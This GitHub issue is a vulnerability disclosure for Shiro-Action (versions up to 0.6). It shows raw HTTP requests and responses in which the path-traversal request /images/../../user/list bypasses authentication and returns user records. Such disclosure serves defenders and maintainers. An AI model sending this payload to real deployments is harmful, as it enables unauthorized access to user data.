

New issue



# There is an Incorrect Access Control vulnerability in Shiro-Action #24

Open



RacerZ-fighting opened on Mar 19



[Suggested description]

Shiro-Action was found to have an Incorrect Access Control vulnerability up to 0.6, resulting in information leakage.

[Vulnerability Type]

Incorrect access control

[Vendor of Product]

<https://github.com/zhaojun1998/Shiro-Action>

[Affected Product Code Base]

all version (<= 0.6)

[Affected Component]

sensitive APIs that require authentication

[Attack Type]

Remote

[Vulnerability details]

Directly send the payload below to the API `/user/list` will fail because of the authentication.

```
GET /user/list HTTP/1.1
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: 127.0.0.1:8088
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=53312df2-a8cf-4e2c-9cbe-9bc4ae405467
```



Request

```
1 GET /user/List HTTP/1.1
2 User-Agent: Apifox/1.0.0 (https://apifox.com)
3 Accept: */*
4 Host: 127.0.0.1:8088
5 Accept-Encoding: gzip, deflate
6 Connection: close
7 Cookie: JSESSIONID=53312df2-a8cf-4e2c-9cbe-9bc4ae405467
8
9
```

Response

```
1 HTTP/1.1 302
2 Location: http://127.0.0.1:8088/login
3 Content-Length: 0
4 Date: Wed, 19 Mar 2025 05:59:02 GMT
5 Connection: close
6
7
```

However, send the payload below to the API `/images/../../user/list` will bypass the authentication.

Request

```
1 GET /images/../../user/list HTTP/1.1
2 User-Agent: Apifox/1.0.0 (https://apifox.com)
3 Accept: */*
4 Host: 127.0.0.1:8088
5 Accept-Encoding: gzip, deflate
6 Connection: close
7 Cookie: JSESSIONID=53312df2-a8cf-4e2c-9cbe-9bc4ae405467
8
9
```

Response

```
1 HTTP/1.1 200
2 Content-Type: application/json; charset=UTF-8
3 Date: Wed, 19 Mar 2025 05:59:27 GMT
4 Connection: close
5 Content-Length: 380
6
7 {
  "count": 2,
  "code": 0,
  "data": [
    {
      "userId": 1,
      "username": "admin",
      "email": "root@zhaojun.im",
      "status": "1",
      "lastLoginTime": "2019-06-05 21:19:16",
      "createTime": "2018-12-02 07:30:52",
      "deptId": 1,
      "deptName": "开发部"
    },
    {
      "userId": 2,
      "username": "user",
      "email": "user@qq.com",
      "status": "1",
      "lastLoginTime": "2019-06-05 21:24:23",
      "createTime": "2019-06-05 20:50:26",
      "deptId": 1,
      "deptName": "开发部"
    }
  ]
}
```

Sign up for free

 to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development



Code with Copilot Agent Mode



No branches or pull requests

Participants

